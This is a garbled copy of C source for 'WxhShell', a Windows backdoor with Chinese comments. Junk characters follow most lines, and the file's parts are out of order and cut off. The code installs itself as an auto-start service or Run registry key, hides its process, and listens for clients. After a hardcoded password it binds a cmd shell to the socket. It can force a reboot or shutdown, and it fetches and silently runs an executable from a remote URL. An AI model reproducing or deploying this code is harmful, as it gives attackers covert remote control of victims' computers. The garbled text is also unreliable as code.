    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~Wei|,w'<  
    if(Boot(SHUTDOWN)) /`3 #4=5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQk!d$BG  
    else { r{_>ldjq  
    closesocket(wsh); E8ta|D  
    ExitThread(0); nn+_TMu  
    } u#@RM^738d  
    break; 2z\e\I  
    } | &7S8Q  
  // 获取shell Y1)!lTG  
  case 's': { Su7bm1  
    CmdShell(wsh); PX2c[CDE^  
    closesocket(wsh);  U>a\j2I  
    ExitThread(0); 3TS_-l  
    break; A%X X5*  
  } D=+NxR[  
  // 退出 wNYg$d0M  
  case 'x': { [M%._u,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E=$p^s  
    CloseIt(wsh); 2YlH}fnH  
    break; SwW['c'*]B  
    } -1u9t4+`  
  // 离开 .4-,_`T?  
  case 'q': { n}?wVfEy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \)/yC74r7(  
    closesocket(wsh); !5Sd2<N  
    WSACleanup(); y >+mc7n  
    exit(1); ?!'Zf Q:zK  
    break; gE])!GMM3  
        } M{mSd2  
  } *F`A S>  
  } "@/62b  
hgj <>H|  
  // 提示信息 'xE _Cj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fmr}o(q1  
} yN6>VD{F  
  }  Vzl^Ka'  
VIJ<``9[  
  return; B*3Y !!  
} !mMpb/&&S  
bB}5U@G|  
// shell模块句柄 `5~3G2T  
int CmdShell(SOCKET sock) rsXq- Pq*  
{ p B;3bc  
STARTUPINFO si; OI}cs2m  
ZeroMemory(&si,sizeof(si)); &(N+.T5cp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .@F]Pht  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <RNJ>>0  
PROCESS_INFORMATION ProcessInfo; T~:|!`  
char cmdline[]="cmd"; 4\M.6])_   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EYX$pz(x;  
  return 0; $O)3 q $|  
} ?OlV"zK  
7msAhz  
// 自身启动模式 $F'>yop2b  
int StartFromService(void) m P'^%TE  
{ hr GH}CU"  
typedef struct @]aOyb@  
{ [*:6oo98'  
  DWORD ExitStatus; Pr ]Ka  
  DWORD PebBaseAddress; TuDE@ gq(  
  DWORD AffinityMask; E&$yuW^z  
  DWORD BasePriority; Yz$3;  
  ULONG UniqueProcessId; $%R$ G`.KM  
  ULONG InheritedFromUniqueProcessId; &<RpWAk{  
}   PROCESS_BASIC_INFORMATION; 67SV~L#%O  
26vp1  
PROCNTQSIP NtQueryInformationProcess; {gbn/{  
L;Z0`mdz  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :Bu2,EL*O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d5 7i)=  
<FI-zca  
  HANDLE             hProcess; ma'FRt  
  PROCESS_BASIC_INFORMATION pbi; !V 2/A1?  
sZGj"_-Hzu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6Htg5o|W  
  if(NULL == hInst ) return 0; GVHV =E  
^z6_Uw[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jh2t9SI~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #n0Y6Pr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V'*~L\;pU  
!`41q=r  
  if (!NtQueryInformationProcess) return 0; u VyGk~  
2owEw*5jl/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o]:3H8  
  if(!hProcess) return 0; Tou/5?# %e  
FIxFnh3~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B(xN Gs  
<S?ddp2  
  CloseHandle(hProcess); < -W*$?^  
MUfG?r\t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q'_z<V  
if(hProcess==NULL) return 0; `\Hf]b  
$/!{OU.t`  
HMODULE hMod; H"ZZ.^"5FV  
char procName[255]; ;22oY>w  
unsigned long cbNeeded; m3Il3ZY.  
)jrV#/m9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /|6;Z}2  
g~(E>6Y  
  CloseHandle(hProcess); 2^8%>,  
cuy1DDl  
if(strstr(procName,"services")) return 1; // 以服务启动 zg-2C>(6a  
jck}" N  
  return 0; // 注册表启动 ys 5&PZg*  
} Vz6Qxd{m3  
aaD;jxT&M|  
// 主模块 UG=K|OXWJ  
int StartWxhshell(LPSTR lpCmdLine) 5j~$Mj`  
{ .tD*2  
  SOCKET wsl; o,|[GhtHqs  
BOOL val=TRUE; [1.+H yJ}  
  int port=0; @v}/zS  
  struct sockaddr_in door; V5*OA??k<  
\=_{na_  
  if(wscfg.ws_autoins) Install(); Y ')x/H  
0}_[DAd6  
port=atoi(lpCmdLine); giz7{Ai  
gz3pX#S  
if(port<=0) port=wscfg.ws_port; {nLjY|*  
Qxj JN^Q  
  WSADATA data; M(/r%-D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g<~Cpd  
bV,}Pp+/"!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V+O"j^Z_J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9K1oZ?)_z  
  door.sin_family = AF_INET; %2v4<icvq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L|p Z$HB  
  door.sin_port = htons(port); Ol!ntNhXm  
_%QhOY5tv"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6Fe34n]m  
closesocket(wsl); `r?7oxN  
return 1; K4kMM*D  
} ,G)r=$XU  
T#>7ub  
  if(listen(wsl,2) == INVALID_SOCKET) { o"*AtGR+"  
closesocket(wsl); 812$`5l  
return 1; t.;LnrY  
} ~?(N  
  Wxhshell(wsl); rS;Dmm  
  WSACleanup(); 7Hs%Cc"  
EY tQw(!Q  
return 0; f k&8]tK4  
^pUHKXihD  
} >p"c>V& 8  
U*) 8G  
// 以NT服务方式启动 -,U3fts  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) aTt 12Sc  
{ '*3h!lW1.  
DWORD   status = 0; kBffF@{  
  DWORD   specificError = 0xfffffff; j:VbrR  
b9l;a+]d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; OLE[UXD-E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k?,1x~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^0 -:G6H  
  serviceStatus.dwWin32ExitCode     = 0; :5{wf Am  
  serviceStatus.dwServiceSpecificExitCode = 0; DP|D\+YyYA  
  serviceStatus.dwCheckPoint       = 0; MjU6/pO}L  
  serviceStatus.dwWaitHint       = 0; _ jsK}- \  
.hifsB~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Om5Y|v"*  
  if (hServiceStatusHandle==0) return; s=;uc] 9g  
u?}(P_9  
status = GetLastError(); b}"N`,0dO  
  if (status!=NO_ERROR) }|pwz   
{ R#I0|;q4|p  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1]p ZrBh"E  
    serviceStatus.dwCheckPoint       = 0; :>C2gS@  
    serviceStatus.dwWaitHint       = 0; 0.@&_XTPl  
    serviceStatus.dwWin32ExitCode     = status; Y/*mUS[oa  
    serviceStatus.dwServiceSpecificExitCode = specificError; N(Tz%o4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ax<?GjpM  
    return; LA}S yt\F  
  } 9@Jtaq>jf  
Hhcpp7cr'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rp ;b" q  
  serviceStatus.dwCheckPoint       = 0; }F#okU  
  serviceStatus.dwWaitHint       = 0; ,Pdf,2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uo@n(>}EL  
} '2 PF  
o%IA}e7PAa  
// 处理NT服务事件,比如:启动、停止 {y_98N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )!P)U(*v  
{ : qd`zG3  
switch(fdwControl) JPoN&BTCj  
{ ~=uWD&5B4  
case SERVICE_CONTROL_STOP: ,Vt/(x-  
  serviceStatus.dwWin32ExitCode = 0; 1ng!G 7g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?j"KV_  
  serviceStatus.dwCheckPoint   = 0; ?B2] -+Y  
  serviceStatus.dwWaitHint     = 0; Gz,i~XX  
  { {?:X8&Sf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hl{S]]z  
  } iT2B'QI=<  
  return;  J4f i'  
case SERVICE_CONTROL_PAUSE: ,[P{HrHx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hpO`]  
  break; [PNT\ElT  
case SERVICE_CONTROL_CONTINUE: ?#}N1k\S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =A83W/4  
  break; pHLB= r  
case SERVICE_CONTROL_INTERROGATE: hEKf6#  
  break; Z{]0jhUyNh  
}; 7$CBx/X50)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HTX?,C_  
} Brf5dT49  
PoG-Rqe  
// 标准应用程序主函数 XAF+0 x!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X\{LnZ@r4  
{ < t,zaIi  
leTf&W  
// 获取操作系统版本  W\d{a(*  
OsIsNt=GetOsVer(); =T HpdtL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fSK]|"c  
,(EO'T[  
  // 从命令行安装 `p2+&&]S  
  if(strpbrk(lpCmdLine,"iI")) Install(); \hDlTp }  
H4:`6 PSL  
  // 下载执行文件 |}=acc/  
if(wscfg.ws_downexe) { _Xk.p_uh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -?V-*jI  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5C o  
} (k5We!4[1  
0i!uUF  
if(!OsIsNt) { D1zBsi94D  
// 如果时win9x,隐藏进程并且设置为注册表启动 p@xf^[50k  
HideProc(); _m5uDF?[  
StartWxhshell(lpCmdLine); _Kl_61k  
} Oo5w?+t  
else `6~Aoe  
  if(StartFromService()) "s0)rqf<  
  // 以服务方式启动 2$+bJJM  
  StartServiceCtrlDispatcher(DispatchTable); WW4vn|0v  
else v%+:/m1  
  // 普通方式启动 Br1&8L-|%  
  StartWxhshell(lpCmdLine); % 5M/s'O?i  
kMi/>gpQ  
return 0; [j=yMP38!:  
} + B B@OW  
s4A43i'g!h  
g{OwuAC_  
[uC ]*G]  
=========================================== xS4w5i2  
8m2Tk\;:  
*|%@6I(  
=,spvy'"*C  
nAW:utTB  
%b&". mN  
" p>RNPrT  
($au:'kU  
#include <stdio.h> }vxw*8d?  
#include <string.h> ~zCEpU|@N  
#include <windows.h> -JMdE_h  
#include <winsock2.h> {XR6>]  
#include <winsvc.h> :ubV};  
#include <urlmon.h> 4>F'oqFF  
0m%|U'm|j  
#pragma comment (lib, "Ws2_32.lib") gd%NkxmW  
#pragma comment (lib, "urlmon.lib") q)X$^oE!6  
OK[T3/v,  
#define MAX_USER   100 // 最大客户端连接数 ^t` k0<  
#define BUF_SOCK   200 // sock buffer -lbm* -(  
#define KEY_BUFF   255 // 输入 buffer XG{{ 2f  
$$|rrG  
#define REBOOT     0   // 重启 Cn'(<bl  
#define SHUTDOWN   1   // 关机 *SU\ABcov  
U`R5'Tf;  
#define DEF_PORT   5000 // 监听端口 ZZ2vvtlyG  
`Nz/O h7  
#define REG_LEN     16   // 注册表键长度 4r>6G/b8*  
#define SVC_LEN     80   // NT服务名长度 8ja$g,  
7X0Lq}G@  
// 从dll定义API %HGD;_bhI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =XA;[PVx:#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _ "?.!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ii[F]sR\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 77C'*tt1]  
t2/#&J]  
// wxhshell配置信息 u$DHVRrF<  
struct WSCFG { aoMqSwF=  
  int ws_port;         // 监听端口 =5J7Hw&K  
  char ws_passstr[REG_LEN]; // 口令 %`>nS@1zp  
  int ws_autoins;       // 安装标记, 1=yes 0=no *W.C7=  
  char ws_regname[REG_LEN]; // 注册表键名 <;vbsksZeH  
  char ws_svcname[REG_LEN]; // 服务名 f,h J~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h].<t&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "$#xK|t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;YA(|h<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |SoCRjuCPM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tjIl-IQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a|%J=k>>  
9>l*lCA  
}; Ov 5"  
w`4=_J=GO  
// default Wxhshell configuration 7E!IF>`  
struct WSCFG wscfg={DEF_PORT, >6NRi/[  
    "xuhuanlingzhe", $G8E 3|k  
    1, S{]x  
    "Wxhshell", SX<` {x&L  
    "Wxhshell", iP =V8g?L  
            "WxhShell Service", d74d/l1*{  
    "Wrsky Windows CmdShell Service", 2)G %)'  
    "Please Input Your Password: ", -e_hrCW&9  
  1, 3kw,(-'1  
  "http://www.wrsky.com/wxhshell.exe", FG6h,7+  
  "Wxhshell.exe" PPb7%2r  
    }; D?;"9e%  
kDEPs$^  
// 消息定义模块 #xho[\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6N!Q:x^4(T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 't1 ax^-g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W#^2#sjO  
char *msg_ws_ext="\n\rExit."; 0 t Fkd  
char *msg_ws_end="\n\rQuit."; dCE0$3'5  
char *msg_ws_boot="\n\rReboot..."; < vL,*.zd  
char *msg_ws_poff="\n\rShutdown..."; J2::'Hw*s  
char *msg_ws_down="\n\rSave to "; v4u5yy_;(  
u?4:H=;>  
char *msg_ws_err="\n\rErr!"; d:#yEC  
char *msg_ws_ok="\n\rOK!"; _2h S";K  
SG6kud\b  
char ExeFile[MAX_PATH]; H<VTa? n  
int nUser = 0; _y),J'W^3u  
HANDLE handles[MAX_USER]; tz5e"+Tz  
int OsIsNt; W=j[V Oq  
Cbg!:Cws  
SERVICE_STATUS       serviceStatus; FKIw!m ~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f-bVKHt  
h}*/Ge]aM  
// 函数声明 /j4P9y^]=  
int Install(void); ".W8)  
int Uninstall(void); )k\H@Dy%$  
int DownloadFile(char *sURL, SOCKET wsh); +1uF !G&l  
int Boot(int flag); KV}FZ3jY  
void HideProc(void); qs1 ?IYD  
int GetOsVer(void); 4A8;tU$&  
int Wxhshell(SOCKET wsl); G'oG< /A  
void TalkWithClient(void *cs); S0B|#O%Z  
int CmdShell(SOCKET sock); YUx.BZf7  
int StartFromService(void); ruc++@ J@  
int StartWxhshell(LPSTR lpCmdLine); |uX,5Q#6  
!j:9`XD|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,I7E[LU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0O9Ni='Tn  
>OL3H$F  
// 数据结构和表定义 /q<__N  
SERVICE_TABLE_ENTRY DispatchTable[] = &:/hrighH  
{ T V<'8 L  
{wscfg.ws_svcname, NTServiceMain}, R%{ a1r>9h  
{NULL, NULL} Rtb7|  
}; K@sV\"U(*E  
,24p%KJ*X  
// 自我安装 }@;ep&b*  
int Install(void) 7Nk!1s :  
{ Ka[t75~;  
  char svExeFile[MAX_PATH]; QIB\AAclO  
  HKEY key; ]QpWih00V  
  strcpy(svExeFile,ExeFile); I/&%]"[^u  
E8pB;\Z(  
// 如果是win9x系统,修改注册表设为自启动 6{"$nF]  
if(!OsIsNt) { v:!Z=I}>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M@`;JjtSA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v*;-yG&  
  RegCloseKey(key); ex::m&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P,xKZ{(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +_; l|uhT;  
  RegCloseKey(key); 8.XoVW#  
  return 0; X.Rb-@  
    } /JHc!D  
  } J&M o%"[)  
} 7[> 6i  
else { b\3Oyp>  
?98("T|y;  
// 如果是NT以上系统,安装为系统服务 ~rDZ?~%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lwrC pD .  
if (schSCManager!=0) ,quoRan  
{ L;*ljZ^c  
  SC_HANDLE schService = CreateService |.F$G<  
  ( \MbB#  
  schSCManager, eM$sv9?  
  wscfg.ws_svcname, [Jogt#Fj ]  
  wscfg.ws_svcdisp, 0 vtt"f)Y[  
  SERVICE_ALL_ACCESS, pm_`>3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;5zz<;Zy  
  SERVICE_AUTO_START, x c/}#>ED  
  SERVICE_ERROR_NORMAL, K? y[V1,  
  svExeFile, XZ sz/#  
  NULL, mVVD!  
  NULL, |$vX<. S  
  NULL, {[+mpKq  
  NULL, vhpNpgz  
  NULL Kla'lCZ  
  ); $6mX  
  if (schService!=0) 43mP]*=A  
  { ^G4 P y<s  
  CloseServiceHandle(schService); .!f$ \1l  
  CloseServiceHandle(schSCManager); (-ufBYO6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F<qz[,]|-j  
  strcat(svExeFile,wscfg.ws_svcname); %k;|\%B`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (Tn- >).AO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0w)^)  
  RegCloseKey(key); l:j4Ft 8  
  return 0; N'^&\@)xiU  
    } In18_ bc  
  } U.DDaT1  
  CloseServiceHandle(schSCManager); M%ICdIc'  
} 6^eV"&+@  
} I aGq]z  
LIcM3_.  
return 1; lu<xv  
} 0`X]o'RxS  
$, ,op(  
// 自我卸载 Jtr"NS?a]  
int Uninstall(void) ~/98Id}v  
{ L3@82yPo!  
  HKEY key; /J=v]<87a  
RxI(:i?  
if(!OsIsNt) { v^#~98g]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j`~Ms>  
  RegDeleteValue(key,wscfg.ws_regname); kQEy#JQmB  
  RegCloseKey(key); tasUZ#\6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BW 4%l  
  RegDeleteValue(key,wscfg.ws_regname); VU&7P/\f%  
  RegCloseKey(key); U<DZ:ds ?T  
  return 0; mj9 <%P  
  } +VO-oFE|  
} L&u$t}~)  
} @cFJeOC|  
else { czS+< w  
S7/eS)SQR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uTKD 4yig  
if (schSCManager!=0) 3Nq N \5B:  
{ dwDcR,z?a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L)@?e?9  
  if (schService!=0) M<kj_.  
  { B56L1^ 7  
  if(DeleteService(schService)!=0) { !,6c ~ w  
  CloseServiceHandle(schService); "nw;NIp!  
  CloseServiceHandle(schSCManager); j)<IRD^  
  return 0; >zXsNeGQR  
  } &Low/Y'.jJ  
  CloseServiceHandle(schService); uVJDne,R  
  } TU:7Df  
  CloseServiceHandle(schSCManager); ^eo|P~w g  
} P:k>aHnW  
} 3|'>`!hb  
#~C]ZrK  
return 1; xI($Uu}S  
} /5Oa,NS7  
1*9U1\z  
// 从指定url下载文件 ki?S~'a  
int DownloadFile(char *sURL, SOCKET wsh) d$ x"/A]<  
{ gm igsXQ  
  HRESULT hr; Z -W(l<  
char seps[]= "/"; =;2%a(  
char *token; MP_ ~<Q  
char *file; ;C3US)j  
char myURL[MAX_PATH]; VGpWg rmHk  
char myFILE[MAX_PATH]; O(D ~_O.  
2O.i\cH  
strcpy(myURL,sURL); ] 6TATPIr  
  token=strtok(myURL,seps); B0dQ@Hq*  
  while(token!=NULL) a&c6.#E{y  
  { +l9!Fl{MK\  
    file=token; \s=t|Wpu2  
  token=strtok(NULL,seps); C71qPb|$R  
  } E4|jOz^j4\  
w5Ay)lz  
GetCurrentDirectory(MAX_PATH,myFILE); BD_Iz A<wK  
strcat(myFILE, "\\"); NQ(1   
strcat(myFILE, file); GP?M!C,/}k  
  send(wsh,myFILE,strlen(myFILE),0); DU5c=rxW  
send(wsh,"...",3,0); [AYOYENp-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k1{K*O$e  
  if(hr==S_OK) wt!nMQ  
return 0; /s@oZ{h  
else VyzS^AH K  
return 1; e4HA7=z  
ew#B [[  
} xv(9IEjt0  
Y2n!>[[.  
// 系统电源模块 BK)$'AqO  
int Boot(int flag) g;qx">xJ`o  
{ n `&/ D  
  HANDLE hToken; ==3dEJS  
  TOKEN_PRIVILEGES tkp; Tn*9lj4  
pWK(z[D  
  if(OsIsNt) { /& Jan:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HCyv]LR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ts\5uiB<%  
    tkp.PrivilegeCount = 1; MZSy6v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \;qW 3~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i;/5Y'KZ  
if(flag==REBOOT) { xJ>fm%{5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u%}nw :>  
  return 0; e1%/26\  
} 5*lT.  
else { [N7{WSZ&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Im#dVQs=  
  return 0; bM{s T"  
} 0ZZZoP o  
  } %E#s\B,w  
  else { _ba>19csq%  
if(flag==REBOOT) { #gz M|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9$cWU_q{  
  return 0; /67 h&j  
} g.BdlVB\  
else { q"\Z-D0B4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7gj4j^a^]{  
  return 0; AgS 7J(^&3  
} #$18*?tLv|  
} `UD/}j@  
/|tJ6T1LrB  
return 1; wSa)*]%  
} &dM. d!  
0AZ")<^~7  
// win9x进程隐藏模块 ZCmgs4W!  
void HideProc(void) LAB=Vp1y3[  
{ mq@6Q\Z+  
ii T"5`KY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >/l? g5{  
  if ( hKernel != NULL ) * @ 3Ag(  
  { K#6P}tf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &J[:awQX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "iy  
    FreeLibrary(hKernel); %zG;Q@  
  } w65K[l;2  
1S{D6#bE  
return; J]{QB^?  
} ]^h]t~  
 Uwf +  
// 获取操作系统版本 yv t.  
int GetOsVer(void) ]A~WIF  
{ [<n2Uz7MP  
  OSVERSIONINFO winfo; [@VP?74  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); */sS`/Lx  
  GetVersionEx(&winfo); ojcA<60 '  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8aK)#tNWN  
  return 1; [tlI!~Z  
  else Bt@^+vH ~  
  return 0; Q# ~Q=T'<  
} _K]_ @Ivh  
C _'%N lJ'  
// 客户端句柄模块 .+PI}[g  
int Wxhshell(SOCKET wsl) u+Y\6~=+  
{ z* ^_)Z  
  SOCKET wsh; tr<Nm6!  
  struct sockaddr_in client; Hx"ob_^'7  
  DWORD myID; nV"~-On  
CAfGH!l!  
  while(nUser<MAX_USER) ((H^2KJn  
{ u(@$a4z  
  int nSize=sizeof(client); '))0Lh l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L-ET<'u  
  if(wsh==INVALID_SOCKET) return 1; kVkU)hqR  
aOlT;h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n&$j0k  
if(handles[nUser]==0) 6HT ;#Znn  
  closesocket(wsh); @i 2E\}  
else CDsSrKhx  
  nUser++; Jl( &!?j  
  } :ci5r;^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,]|#[8  
j'Gt&\4  
  return 0; |,S+@"0#  
} a!a-b~#cx  
T -.%  
// 关闭 socket z>LUH  
void CloseIt(SOCKET wsh) /Lfm&;  
{ kjIAep0rT  
closesocket(wsh); 2^r <{0@n  
nUser--; 6</xL9#/  
ExitThread(0); zBCtd1Xrni  
} A 9( x  
/a{la8Ni  
// 客户端请求句柄 * aN  
void TalkWithClient(void *cs) ,k24w7K%d  
{ YN/|$sMD|  
&Y!-%{e  
  SOCKET wsh=(SOCKET)cs; ?M8dP%&r  
  char pwd[SVC_LEN]; U>YAdrx2a  
  char cmd[KEY_BUFF]; &TUWW/?T  
char chr[1]; p2#)A"  
int i,j; p*< 0"0  
ASKf '\,dV  
  while (nUser < MAX_USER) { `.E[}W  
3k\#CiB{  
if(wscfg.ws_passstr) { g2BHHL;`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F}F&T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lf16j*}-Q  
  //ZeroMemory(pwd,KEY_BUFF); sZjQ3*<-r  
      i=0; G? ])o5  
  while(i<SVC_LEN) { t>L;kRujVJ  
FtpK)9/4  
  // 设置超时 QX!-B  
  fd_set FdRead; m,VOx7%n  
  struct timeval TimeOut; = i$Fl{vH  
  FD_ZERO(&FdRead); {:Orn%Q  
  FD_SET(wsh,&FdRead); ( Z619w  
  TimeOut.tv_sec=8; Yrb{ByO&  
  TimeOut.tv_usec=0; M||+qd W!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *{YlN}vA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bc(Y(X$PK  
6"wlg!k8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /z4$gb7Y  
  pwd=chr[0]; WYHQ?  
  if(chr[0]==0xd || chr[0]==0xa) { X.OD`.!>  
  pwd=0; L5Ebc#  
  break; ? E1<!~  
  } 7S-ys+  
  i++; MDnKX?Y  
    } v_<rNc,z-s  
vleS2-]|  
  // 如果是非法用户,关闭 socket XeW<B0~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !<j'Ea  
} |nc@"OJ  
I& 2c&yO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IshKH -  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ' KP@W9j  
n&L+wqJ  
while(1) { ^&B@Uw5{  
"7 4-4  
  ZeroMemory(cmd,KEY_BUFF); oQLq&zRH`f  
h:W;^\J:-  
      // 自动支持客户端 telnet标准   riUwBiVa?2  
  j=0; u7Y WnD  
  while(j<KEY_BUFF) {  .t{MIC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\[~.";Z  
  cmd[j]=chr[0]; NokU) O;x  
  if(chr[0]==0xa || chr[0]==0xd) { `[z<4"Os   
  cmd[j]=0; KT_!d*  
  break; PxTwPl  
  } v]'ztFA  
  j++; /'Ass(=6  
    } 7TgOK   
\MsTB|Z  
  // 下载文件 Umz KY  
  if(strstr(cmd,"http://")) { .!Qki@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (iBNZ7sJ  
  if(DownloadFile(cmd,wsh)) aEFJ;n7m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 68NYIyTW9  
  else `EEL1[:BR  
